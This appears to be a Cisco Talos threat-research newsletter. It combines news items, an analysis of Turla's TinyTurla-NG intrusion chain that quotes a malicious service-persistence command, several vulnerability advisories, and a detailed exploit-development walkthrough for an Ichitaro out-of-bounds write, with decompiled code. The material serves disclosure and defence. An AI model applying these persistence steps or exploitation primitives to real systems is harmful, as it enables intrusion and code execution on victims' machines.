UnitedHealth says it's still recovering from a cyber attack that’s halted crucial payments to health care providers across the U.S., but has started releasing some of those funds this week, and expects its payment processing software to be back online soon. The cyber attack, first disclosed in February, targeted Change Healthcare, a subsidiary of United, that handles payment processing and pharmaceutical orders for hospital chains and doctors offices. UnitedHealth’s CEO said in a statement this week that the company has paid $2 billion to affected providers who spent nearly a month unable to obtain those funds or needing to switch to a paper billing system. A recently published survey from the American Hospital Association found that 94 percent of hospitals that responded experienced financial disruptions from the Change Healthcare attack, and costs at one point were hitting $1 million in revenue per day. (ABC News, CNBC)
Nevada’s state court system is currently weighing a case that could undo end-to-end encryption across the U.S. The state’s Attorney General is currently suing Meta, the creators of Facebook, Instagram and WhatsApp, asking the company to remove end-to-end encryption for minors on the platform, with the promise of being able to catch and charge users who abuse the platform to lure minors. However, privacy advocates are concerned that any rulings against Meta and its encryption policies could have larger ripple effects, and embolden others to challenge encryption in other states. Nevada is arguing that Meta’s Messenger a “preferred method” for individuals targeting Nevada children for illicit activities. Privacy experts are in favor of end-to-end encryption because it safeguards messages during transmission and makes it more difficult for other parties to intercept and read them — including law enforcement agencies. (Tech Policy Press, Bloomberg Law)
This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.
Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.
Cisco Talos is providing an update on its two recent reports on a new and ongoing campaign where Turla, a Russian espionage group, deployed their TinyTurla-NG (TTNG) implant. We now have new information on the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises.
Talos’ analysis, in coordination with CERT.NGO, reveals that Turla infected multiple systems in the compromised network of a European non-governmental organization (NGO).
The attackers compromised the first system, established persistence and added exclusions to anti-virus products running on these endpoints as part of their preliminary post-compromise actions.
Turla then opened additional channels of communication via Chisel for data exfiltration and to pivot to additional accessible systems in the network.
Tracing Turla’s steps from compromise to exfiltration
Talos discovered that post-compromise activity carried out by Turla in this intrusion isn’t restricted to the sole deployment of their backdoors. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclusions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service.
Preliminary post-compromise activity and TinyTurla-NG deployment
After gaining initial access, Turla first adds exclusions in the anti-virus software, such as Microsoft Defender, to locations they will use to host the implant on the compromised systems.
[T1562.001] Impair Defenses: Disable or Modify Tools
Turla then sets up the persistence of the TinyTurla-NG implants using one or more batch (BAT) files. The batch files create a service on the system to persist the TTNG DLL on the system.
sc description sdm "Creates and manages system-mode driver processes. This service cannot be stopped."
[T1543.003] Create or Modify System Process: Windows Service
This technique is identical to that used by Turla in 2021 to achieve persistence for their TinyTurla implants. However, we’re still unsure why the actor uses two different batch files, but it seems to be an unnecessarily convoluted approach to evade detections.
In the case of TTNG, the service is created with the name “sdm” masquerading as a “System Device Manager” service.
Batch file contents.
The creation and start of the malicious service kick starts the execution of the TinyTurla-NG implant via svchost[.]exe (Windows’ service container). TinyTurla-NG is instrumented further to conduct additional reconnaissance of directories of interest and then copy files to a temporary staging directory on the infected system, followed by subsequent exfiltration to the C2. TinyTurla-NG is also used to deploy a custom-built Chisel beacon from the open-sourced offensive framework.
Custom Chisel usage
On deployment, Chisel will set up a reverse proxy tunnel to an attacker-controlled box [T1573.002 - Encrypted Channel: Asymmetric Cryptography]. We’ve observed that the attackers leveraged the chisel connection to the initially compromised system, to pivot to other systems in the network.
The presence of Windows Remote Management (WinRM)-based connections on the target systems indicates that chisel was likely used in conjunction with other tools, such as proxy chains and evil-winrm to establish remote sessions. WinRM is Microsoft’s implementation of the WS-Management protocol and allows Windows-based systems to exchange information and be administered using scripts or built-in utilities.
The overall infection chain is visualized below.
Turla tactics, tools and procedures flow.
Once the attackers have gained access to a new box, they will repeat their activities to create Microsoft Defender exclusions, drop the malware components, and create persistence, indicating that Turla follows a playbook that can be articulated as the following cyber kill chain.
Cyber kill chain.
Analyzing the traffic originating from Chisel revealed the tool beaconed back to its C2 server every hour.
While the infected systems were compromised as early as October 2023 and Chisel was deployed as late as December 2023, Turla operators conducted the majority of their data exfiltration using Chisel much later on Jan. 12, 2024 [T1041 - Exfiltration Over C2 Channel].
Coverage
Ways our customers can detect and block this threat are listed below.
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Cisco Talos’ Vulnerability Research team recently disclosed three vulnerabilities across a range of products, including one that could lead to remote code execution in a popular Netgear wireless router designed for home networks.
There is also a newly disclosed vulnerability in a graphics driver for some NVIDIA GPUs that could lead to a memory leak.
For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.
The Netgear RAX30 wireless router contains a stack-based buffer overflow vulnerability that could allow an attacker to execute arbitrary code on the device.
An adversary could send a targeted device a specially crafted HTTP request to eventually cause a buffer overflow condition.
The RAX30 is a dual-band Wi-Fi router that’s commonly used on home networks. In an advisory about TALOS-2023-1887 (CVE-2023-48725), Netgear stated that the vulnerability “requires an attacker to have your WiFi password or an Ethernet connection to a device on your network to be exploited.”
TALOS-2023-1849 (CVE-2024-0071) is an out-of-bounds read vulnerability in the shader functionality of the NVIDIA D3D10 driver that runs on several NVIDIA graphics cards. Drivers like D3D10 are usually necessary for the GPU to function properly.
An adversary could send a specially crafted executable or shader file to the targeted machine to trigger an out-of-bounds read and eventually leak memory.
This vulnerability could be triggered from guest machines running virtual environments to perform a guest-to-host escape. Theoretically, it could be exploited from a web browser, but Talos tested this vulnerability from a Windows Hyper-V guest using the RemoteFX feature, leading to execution of the vulnerable code on the Hyper-V host. While RemoteFX is no longer actively maintained by Microsoft, some older machines may still use this software.
An out-of-bounds read vulnerability exists in the Shader functionality of NVIDIA D3D10 Driver, Version 546.01, 31.0.15.4601. A specially crafted executable/shader file can lead to an out-of-bounds read. An attacker can provide a specially crafted shader file to trigger this vulnerability.
An adversary could also use this vulnerability to leak host data to the guest machine.
Denial-of-service vulnerability in Google Chrome Video Encoder
Discovered by Piotr Bania.
A denial-of-service vulnerability in Google Chrome’s video encoder could crash the browser.
TALOS-2023-1870 is triggered if the targeted user visits an attacker-created website that contains specific code.
Talos’ sample exploit runs a JavaScript code related to the Chrome video encoding functionality, eventually causing a denial-of-service in the browser and stopping all processes in Chrome.
Cisco Talos disclosed several vulnerabilities in JustSystems’ Ichitaro Word Processor last year. These vulnerabilities were complex and were discovered through extensive reverse engineering.
To establish precedence, a complete arbitrary code execution exploit was developed using only limited primitives provided by CVE-2023-35126, demonstrating its severity in contrast with JP CERT’s assessment.
Doing so required an in-depth understanding of the complex file format as well as the internal mechanisms as implemented by Ichitaro, mirroring the exploitation research that a potential malicious adversary would need to perform to achieve the same goal.
The exploit converts an out-of-bounds index into a frame pointer overwrite. After silently executing the payload, the process is repaired, allowing the application to finish loading the rest of the document. Silent continuation of process execution is essential so as not to alert the target victim.
Its payload is distinctly separated from the vulnerability and can be decoded from an arbitrary document stream that is specified at build time. Tools and techniques developed and demonstrated will help us better assess and more quickly understand similar threats in the future.
Stopping short of publishing complete exploit code, we believe it is important to showcase the complexities involved in developing exploits for unusual vulnerabilities and to highlight the importance of exploit mitigations.
The Ichitaro word processing component software from JustSystems, Inc. is part of the company’s larger suite of office products, similar to Microsoft Office 365. While fairly unknown in the rest of the world, it has a large market share in Japan. Regionally popular, but often overlooked, these types of applications have been targets of malicious exploitation campaigns previously. Vulnerability research conducted by Cisco Talos over the past year has uncovered multiple high-severity vulnerabilities in Ichitaro that could allow an adversary to carry out a variety of malicious actions, including arbitrary code execution. JustSystems has patched all the vulnerabilities mentioned in this blog post, all in adherence to Cisco’s third-party vendor vulnerability disclosure policy.
Straightforward fuzzing is mostly ineffective against these types of applications. Complex functionality supported by a complex file format required extensive reverse engineering that yielded a deeper understanding of the inner workings of Ichitaro, which was necessary for effective bug hunting, be it through fuzzing or manual code auditing. These insights help us better assess the severity of vulnerabilities uncovered in the future.
The uncovered vulnerabilities were generally complex and difficult to reach and trigger. For now, we’ll focus on one vulnerability, in particular, TALOS-2023-1825 (CVE-2023-35126). For demonstration purposes, we are using Ichitaro 2023 version 1.0.1.59372. JustSystems patched this vulnerability in security update 2023.10.19. Our emphasis is on the methods employed while performing root cause and exploitability analysis.
Developing memory corruption exploits beyond simple proof of concepts is occasionally time-consuming, and hence is not taken lightly. With the advent of more advanced exploit mitigations, it becomes difficult to assess if a singular vulnerability is exploitable and what its severity is. What helps is exploit equivalence classes. An exploit for a use-after-free vulnerability in a certain context demonstrates that all similar use-after-free vulnerabilities are exploitable. While exploit equivalence classes are established for the most common types of targets (browsers or OS kernels, for example), we have no precedent to fall back on when working with previously unknown types of software.
This is especially important when judging the severity of the vulnerabilities. Our assessment of this vulnerability using CVSS 3.1 scoring was 7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), while JP CERT assigned it 3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L), as they didn’t deem arbitrary code execution possible. This severely underestimates the severity and poses an unnecessary risk to users who might ignore the security updates. By demonstrating and establishing the exploitability of this vulnerability, we aim to rectify the situation and clarify exploitability estimates for the vulnerabilities we uncover in the future.
When exploiting a vulnerability in a common target, well-known techniques can be employed, such as relying on the well-known “addrof/fakeobj” abstraction when exploiting JavaScript engines. However, not all targets allow for the same general techniques. In some cases, interactivity is not possible, or the location of the vulnerability does not allow the adversary to influence enough of the target to allow for exploitability.
We dissected one of the vulnerabilities discovered within Ichitaro that was classified with seemingly limited severity. Leveraging this vulnerability along with side effects of the code that it belongs to allowed us to construct more powerful exploitation primitives which ultimately resulted in full arbitrary code execution. This not only increases our confidence in the assessment of these families of vulnerabilities but documents and demonstrates the building blocks, tools and methodologies necessary to conduct this research.
Format
The main document type supported by the Ichitaro word processor uses the .jtd file extension and is stored as a Microsoft Compound Document. A compound document file contains a hierarchical structure composed of multiple content streams, along with naming information for each, which gives it the near appearance of a filesystem. The primary API is also exposed by Microsoft via COM which, when used to open a document, returns an object that implements the IStorage interface. As a result, the format has been used throughout the years by several Microsoft components, including Microsoft's Office suite, and is extensively documented by Microsoft in [MS-CFB]: Compound File Binary File Format.
Implementers of software utilizing Microsoft's Compound Document format will leverage its file system-like capabilities to store different streams relating to the contents of the document. Thus, when an application is asked to load a document, the application will read a list of directory entries out of the document to extract the stream names. These stream names can then be used to access the contents of the individual streams, which can then be used to load the necessary parts to restore the document.
From this logic of referencing a stream by its name, a pattern can be identified by the reverse engineer and identify where a specific stream is being parsed by a binary. This pattern, combined with the standard API, can enable a reverse engineer to identify the relevant parts of an application that interact with a document.
Utilizing these patterns, TALOS-2023-1825 was discovered and then reported as CVE-2023-35126. When first examining an empty document file, several streams along with their names can be found in the structure storage document's directory. Cross-referencing some of these stream names with the modules loaded in the address space of the binary leads us to a single binary that references the stream name.
Using the default stream names found within a document produced by the application, each of the binaries belonging to the application can be searched to determine which libraries reference the corresponding stream name. The following command demonstrates a search of that kind.
Once the correct binaries have been identified, the strings can simply be cross-referenced to identify a list of candidates that might be used to interact with the corresponding stream. In the following screenshot, each of the stream names is located near to each other. After the list of candidate functions has been identified, that list can then be used to set breakpoints with a debugger and then used to enumerate the functions that are relevant to parsing the document.
Discovery
The discovery of the bug in question starts with identifying the location of the stream names, enumerating instruction references to them, and then finding the common caller that is shared by each reference. This was done in the following screenshot using the IDA Python script which takes the list of selected addresses, fetches each of their executable references, groups each of them into separate sets and then finds the common intersection of all the sets. This results in a single function address being responsible for the selected stream names.
After reviewing the function associated with the discovered address, 0x3BE25803, it appears to reference all of the stream names that were listed out of the empty document and are used as some form of initialization. Upon running the application with a breakpoint set to this address, our debugger will confirm that this code is executed upon opening the document. Examining the backtrace during the same debugging session then gives us a straightforward path to identify how the application parses streams from the document.
The function at 0x3BE25803 then has a single caller at 0x3C1FAF0F that can be navigated to in our disassembler. From this caller, each function that is called by it can be used to identify other places where stream names from the document are referenced. This is a common pattern that can be used to map each stream name to a function that is either responsible for parsing said stream or initializing the scope of variables that are later used when parsing the stream.
int __thiscall object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(
object_9c2044 *this,
JSVDA::object_OFRM *ap_oframe_0,
int av_documentType_4,
int av_flags_8,
int av_whichStream_c,
_DWORD *ap_result_10)
{
lp_this_64 = this;
p_result_10.ap_unkobject_10 = (int)ap_result_10;
lp_oframe_6c = ap_oframe_0;
constructor_3a9de4(&lv_struc_38);
lv_result_4 = 0;
sub_3BE29547(lv_feh_60, 0xFFFF, 0);
...
lv_struc_38.v_documentType_8 = av_documentType_4;
lv_struc_38.v_initialParsingFlags_c = av_flags_8;
lv_struc_38.p_owner_24 = lp_this_64;
lv_struc_38.v_initialField(1)_10 = 1;
lv_position_7c = 4;
if ( av_whichStream_c == 1 || av_whichStream_c == 3 || av_whichStream_c == 4 ) // Determine which stream name to use
{
v9 = "DocumentViewStyles";
}
else
{
...
v9 = "DocumentEditStyles";
}
v10 = object_OFRM::openStreamByName?_132de4(lp_oframe_6c, v9, 16, &lp_oseg_68); // Open up a stream by a name.
if ( v10 != 0x80030002 )
{
...
*(_QWORD *)&lp_oframe_70 = 0i64;
if ( object_OSEG::setCurrentStreamPosition_1329ce(lp_oseg_68, 0, 0, 0, 0) >= 0 // Read a two 16-bit integers for the header
&& object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_74)
&& object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_78) )
{
if ( (unsigned __int16)lv_ushort_74 <= 1u )
{
lv_struc_38.vw_version_20 = lv_ushort_74;
lv_struc_38.vw_used_22 = lv_ushort_78;
...
v12 = 0;
for ( i = 4; ; lv_position_7c = i ) // Loop to process contents of stream
{
v25 = v12;
v14 = struc_3a9de4::parseStylesContent_3a7048(&lv_struc_38, lp_oseg_68, i, v12, av_whichStream_c, p_result_10, 0);
v_result_8 = v14;
if ( v14 == 0xFFFFFFE8 )
break;
if ( v14 != 1 )
goto return(@edi)_3a78dd;
i = lv_struc_38.v_header_long_4 + 6 + lv_position_7c;
v12 = ((unsigned int)lv_struc_38.v_header_long_4 + 6i64 + __PAIR64__(v25, lv_position_7c)) >> 32;
}
v_result_8 = 1;
}
...
return v_result_7;
}
The listing shows the beginning of the function at 0x3C1FAF0F with the name object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be. This function references the DocumentViewStyles stream. Specifically, both the DocumentViewStyles and DocumentEditStyles strings are referenced next to each other separated by only a conditional. Hence, both streams likely use the same implementation to parse their contents and a parameter is used to distinguish between them. At the bottom of the same function is a loop that is likely used to process the variable-length contents of the streams. If we examine the function being called for each iteration of this loop, we will encounter the following function, which is of reasonable complexity and appears to process some number of record types using a 16-bit integer as their key. The shape of this function is shown in the following screenshot.
The following list is a decompilation of the function from the previous screenshot that parses record types out of the stream. Exploring the different cases implemented by this method shows that it is responsible for parsing around 10 different record types. Most of the functions used to parse each individual record types are prefaced with a function that ensures that the necessary fields are constructed and initialized before processing its corresponding record. This implies that the conditional allocations involved with these fields can only be used once per instance of the document, and will need to already have been called to avoid the unpredictability of the data that is left on the stack during the exploitation process.
int __thiscall struc_3a9de4::parseStylesContent_3a7048(
struc_3a9de4 *this,
JSVDA::object_OSEG *ap_oseg_0,
int av_position(lo)_4,
int av_position(hi)_8,
int av_currentStreamState?_c,
frame_3a7048_arg_10 ap_unkobjectunion_10,
frame_3a7048_arg_14 ap_nullunion_14)
{
lv_result_4 = 0;
p_oseg_0 = ap_oseg_0;
...
v_documentType_8 = this->v_documentType_8;
v_boxHeaderResult_0 = struc_3a9de4::readBoxHeader?_3a6fae(this, ap_oseg_0);
if ( v_boxHeaderResult_0 != 31 )
{
...
vw_header_word_0 = (unsigned __int16)this->vw_header_word_0; // Check first 16-bit word from stream
p_owner_24 = this->p_owner_24;
lp_owner_8 = p_owner_24;
if ( vw_header_word_0 > 0x2003 )
{
v_wordsub(2004)_0 = vw_header_word_0 - 0x2004;
if ( v_wordsub(2004)_0 )
{
v_word(2005)_0 = v_wordsub(2004)_0 - 1;
if ( !v_word(2005)_0 )
{
if ( av_currentStreamState?_c != 5 ) { // Check for record type 0x2005
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
p_styleObject_3a712c = struc_3a9de4::readStyleType(2005)_3a6bec(this, p_oseg_0, this->v_header_long_4, Av_parsingFlagField_8 == 3);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(1)_endrecord_3a70f9;
}
v_wordsub(2006)_0 = v_word(2005)_0 - 1;
if ( v_wordsub(2006)_0 )
{
v_word(2007)_0 = v_wordsub(2006)_0 - 1;
if ( v_word(2007)_0 )
{
v_word(2008)_0 = v_word(2007)_0 - 1;
if ( !v_word(2008)_0 )
{
...
if ( p_object_60 )
{
LABEL_93:
p_styleObject_3a712c = object_9d0d30::readStyleType(2008)_391906( // Process record type 0x2008
p_object_60,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
this->v_documentType_8,
ap_unkobjectunion_10.ap_unkobject_10,
&lv_result_4);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(@esi)_endrecord_3a7625;
}
...
}
...
}
...
return p_result_3a705e;
}
...
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
object_9e5ffc = ap_nullunion_14.object_9e5ffc;
goto readStyleType(1000)_3a7365;
}
return 0xFFFFFFE8;
}
The first set of conditions that are listed in the decompilation leads to the parser for record type 0x2005. The second case, as per the decompilation, is used to parse record type 0x2008. It is this record type that contains the entirety of the vulnerability leveraged by this document.
The next listing shows the parser for record type 0x2008. In it, we can immediately spot a static-sized array named lv_objects(6)_6c due to the loop that initializes it. After a closer look at the references to this array, the function uses an index, lvw_index_70, to access elements of the lv_objects(6)_6c array. This index is directly read from the file as one of the output parameters of the arena_reader::read_header_779756 method without verifying it is within bounds of the array. Immediately after the index is used fetch an item from the array, the item is then written to. Thus, this out-of-bounds index is made significantly more useful due to it being used for writing into a constant-sized array allocated in the frame.
int __thiscall object_9d0d30::readStyleType(2008)_391906(
object_9d0d30 *this,
JSVDA::object_OSEG *ap_oseg_0,
int av_size_4,
int av_someFlag_8,
int av_documentType_c,
int ap_nullobject_10,
int *ap_unusedResult_14)
{
...
v34 = 0;
p_object_14 = this->v_data_20.p_object_14;
...
v9 = JSFC::malloc_181e(sizeof(object_9d14a0));
...
if ( v9 )
v10 = object_9d14a0::constructor_38cb12(v9, this->v_data_20.p_object(9c2044)_c, this);
...
this->v_data_20.p_object_14 = v10;
object_9d14a0::addSixObjects_38cb7d(v10);
for ( i = 0; i < 6; ++i ) // Loop for an array with a static length
lv_objects(6)_6c[i] = object_9d14a0::getPropertyForItemAtIndex_37a71d(this->v_data_20.p_object_14, i);
...
while ( lvw_case_84 != 0xFFFF ) // Keep reading records until 0xFFFF
{
switch ( lvw_case_84 )
{
case 0u: // Case 0-4,6,8,9 are similar.
if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
goto LABEL_47;
LOWORD(lv_size_74) = lv_size_74 - 2;
if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v25) )
goto LABEL_47;
lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(0)_14 = v25; // lvw_index_70 is unbounded
goto LABEL_51;
...
case 5u: // Case 5
if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
goto LABEL_47;
LOWORD(lv_size_74) = lv_size_74 - 2;
...
wstringtoggle_7fb182::initialize_7fb182(&v15, lv_wstring(28)_54);
LOBYTE(v34) = 0;
object_9d15a0::moveinto_field(20,2c)_6c0780(lv_objects(6)_6c[lvw_index_70], v15); // lvw_index_70 is unbounded
goto LABEL_51;
...
case 7u: // Case 7
if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
goto LABEL_47;
lv_size_74 += 0xFFFC;
if ( !arena_reader::read_int_6b5bc1(&lv_triple_80, &v17) )
goto LABEL_47;
lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(7)_38 = v17; // lvw_index_70 is unbounded
goto LABEL_51;
...
default:
if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lv_size_74) )
goto LABEL_47;
break;
}
while ( lv_size_74 )
{
if ( !arena_reader::read_byte_405b6c(&lv_triple_80, &lvb_85) )
goto LABEL_47;
lv_size_74 += 0xFFFF;
}
...
}
...
}
The index is used to refer to the correct element in an array of pointers to an object. The object used for each element of the array, object_9d15a0, is 0x68 bytes in size and is primarily composed of integer fields that are used to store data read from the current stream. Thus, the vulnerability enables us to write data to one of the object’s fields depending on which case was read during parsing. Examining each of the cases individually, there are three ways in which the implementation may be written to object_9d15a0.
The first class involves dereferencing a pointer from the indexed object and then writing a 16-bit integer zero-extended to 32 bits to the target of the pointer.
The second class also involves dereferencing a pointer but allows us to write a 32-bit integer to the pointer's target.
The third class is slightly more complex, but it appears to write a reference to a short object of some kind that contains an integer that can be set to 1 or 2, and a pointer that can be freed depending on the value of that integer. Of these three classes, the 32-bit integer write seems to be the most useful unless we plan to write a length where the high 16-bits are always cleared.
After the pointer for any of these classes has been dereferenced, the integer that is decoded from the stream is written to a field within the dereferenced object. Examining each individually shows us exactly which field of the object will be written to. It appears that depending on the case that we choose, our decoded integer will end up being written within the range +0x34 to +0x60 of the object. As only the 32-bit integer and possibly the short object cases appear to be of use, we will take note of the field they write to, and use that field to locate something useful to overwrite. Specifically, we take note that the short object type is using case 0x5 and will result in writing to offset +0x4c, whereas the 32-bit integer type for case 0x7 will end up writing to offset +0x58.
Referencing the listing, each of the fields that are being written to are named as v_typeField(case)_offset. When parsing the 0x2008 record type, the integer decoded out of the stream will be written to either one of these fields. It is worth noting that the field v_typeField(7)_38 for case 7 will allow us to write a full 32-bit integer, the field v_typeFieldString(5)_2c for case 5 will allow us to write a pointer to a 16-bit character string, and the other fields will allow us to write a 32-bit integer zero-extended from a 16-bit integer. The only thing left to do is to write a proof-of-concept demonstrating the out-of-bounds index being used to dereference a pointer, and then write to our desired field.
Mitigations
After identifying the vulnerability, we can immediately check the mitigations that have been applied to the target to get a better idea of what might be a hindrance to the exploitation of our write candidates. By examining the modules in the address space, we can see that DEP (W^X) is enabled, but ASLR is not for some of the listed modules. This greatly simplifies things, since our vulnerability allows us to overwrite practically anything within these listed modules. Because of this, we won't need to do much else other than write to a known address to hijack execution.
In the following screenshot, we also notice that the target uses frame pointers and stack canaries to protect them from being overwritten. This won't directly affect the exploitation of this vulnerability but could affect any code we might end up re-purposing once we earn the ability to execute code.
Leveraging the vulnerability
Now that we've identified anything that might add to the complexity of our goals, we can revisit the vulnerability and expand on it. The first thing we'll need to do is to control the pointer that will be dereferenced. Our pointer will be located on the stack, so we'll need to get data that is parsed from the stream by the application to be located on the stack so that we can use our out-of-bounds index to dereference it.
Examining the scope of the vulnerability shows that it has a call stack depth of three, from when the document starts to parse the streams from the document at object_9c2044::method_processStreams_77af0f. This depth represents the part of the application where we control input and contains the logic by which we can influence the application with our document. Any data that is read from the file will only be available from one of the methods within this scope.
int __thiscall object_9c2044::method_processStreams_77af0f(
object_9c2044 *this,
JSVDA::object_OFRM *ap_oframe_0,
unsigned int av_documentType_4,
unsigned int av_flags_8,
struc_79aa9a *ap_stackobject_c,
int ap_null_10)
{
...
lp_oframe_230 = ap_oframe_0;
lp_stackObject_234 = ap_stackobject_c;
...
if ( !lv_struc_24c.lv_flags_10 )
{
LABEL_42:
lv_struc_24c.field_14 = av_flags_8 & 0x800;
v10 = object_9c2044::parseStream(DocumentViewStyles)_3a790a(this, ap_oframe_0, av_documentType_4, av_flags_8); // "DocumentViewStyles"
if ( v10 == 1 )
{
v10 = object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(this, lp_oframe_230, av_documentType_4, av_flags_8); // "DocumentEditStyles"
if ( v10 == 1 )
{
v10 = object_10cbd2::processSomeStreams_778971(
this->v_data_290.p_object_48,
lp_oframe_230,
av_documentType_4,
av_flags_8);
if ( v10 == 1 )
{
...
v10 = object_9c2044::decode_substream(Toolbox)_3a6a7b(this, lp_oframe_230); // "Toolbox"
if ( v10 == 1 )
{
v10 = object_9c2044::decode_stream(DocumentMacro)_3a680a(this, lp_oframe_230, av_documentType_4); // "DocumentMacro"
if ( v10 == 1 )
{
v10 = sub_3BE25803(this, lp_oframe_230, av_flags_8);
if ( v10 == 1 )
{
v10 = JSVDA::object_OFRM::decode_stream(Vision_Sidenote)_77310e(this, lp_oframe_230); // "Vision_Sidenote"
if ( v10 == 1 )
{
v10 = object_9c2044::decode_stream(MergeDataName)_3a55d3(this, lp_oframe_230); // "MergeDataName"
if ( v10 == 1 )
{
v10 = object_9c2044::decode_stream(HtmlAdditionalData)_3a5445(this, lp_oframe_230, av_documentType_4, lp_stackObject_234, 0);
...
}
}
}
}
}
}
}
}
...
}
return v10;
}
/** Functions used to parse both the "DocumentViewStyles" and "DocumentEditStyles" streams. **/
int __thiscall object_9c2044::parseStream(DocumentViewStyles)_3a790a(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc);
this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc = 0;
return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 1, 0);
}
int __thiscall object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8);
this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8 = 0;
return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 2, 0);
}
From a cursory glance at the object_9c2044::method_processStreams_77af0f method in the listing, it seems that the stream of interest is one of the first two streams that are being parsed by the application. This implies that there is not much logic that is executed between the document being opened and our vulnerability being reached. To influence the state of the application before our vulnerability, we are limited only to the logic related to parsing the streams containing the document styles. If we end up hijacking execution at any time within the vulnerability's scope, we'll need some way of maintaining control afterward to modify the permissions of whatever page we plan on loading.
Exploring some of the other stream parsers seems to show that virtual methods are called upon by some objects to read from the stream. These exist in a writable part of some of the available modules, so we can likely overwrite them globally if we determine it necessary. However, this would also result in the "breaking" of that functionality for the entire application since the virtual method would not be usable anymore.
Since our write is happening at the beginning of the application parsing the document, anything we overwrite would have to be used by the one or two streams that read data from the file. Performing a rudimentary query on the parsers for the record types belonging to both the DocumentViewStylesand DocumentEditStyles streams show that nothing is being read dynamically into the heap or any other means, and so we'll have to use our vulnerability to write the entire payload and anything else we might need.
This listing shows the layout of the entire frame belonging to the object_9d0d30::readStyleType(2008)_391906 method which contains our vulnerability. In this layout, the lv_objects(6)_6c field contains the six-element array of pointers that our index is used with. This means that we'll be dereferencing a pointer relative to this array. Right after this array is a buffer before the canary protecting the caller's frame pointer and address. If we cross-reference this field, we can see that it is referenced during the processing of case 5.
In case 5, the implementation will read two 16-bit fields, containing the index and size. This size is checked against the 0x66 constant before it is used to read an array of 16-bit integers into the referenced buffer of 0x50 bytes in size. After being checked against 0x66, the size is aligned to a multiple of 2 and then verified that it is less than 0x42. If the length verification fails this time, the __report_rangecheckfailure function will immediately terminate execution.
If this check is passed, the array that was read will be used to construct the prior-mentioned short object and then written to the array of six objects that are located on the stack. There is no other code within this function that uses this 16-bit integer array, and since it is used to temporarily store the array of 16-bit integers read from the file, we can reuse its space to store any pointers that we will want to use during exploitation.
Vulnerability's capabilities
Moving back to the proof-of-concept, we'll need to combine the two mentioned cases for record 0x2008, so that we can emit the necessary records to write to an arbitrary address. Case 5, allows us to store an array of 16-bit integers into a buffer, so we will use this to store the pointers that will be dereferenced to the lv_wstring(28)_54 field. Case 7, allows us to specify an out-of-bounds index and so we can specify an index that will dereference a pointer from the lv_wstring(28)_54 field that we loaded with case 5. The combination of these two types allows us to write a controlled 32-bit integer to a controlled address.
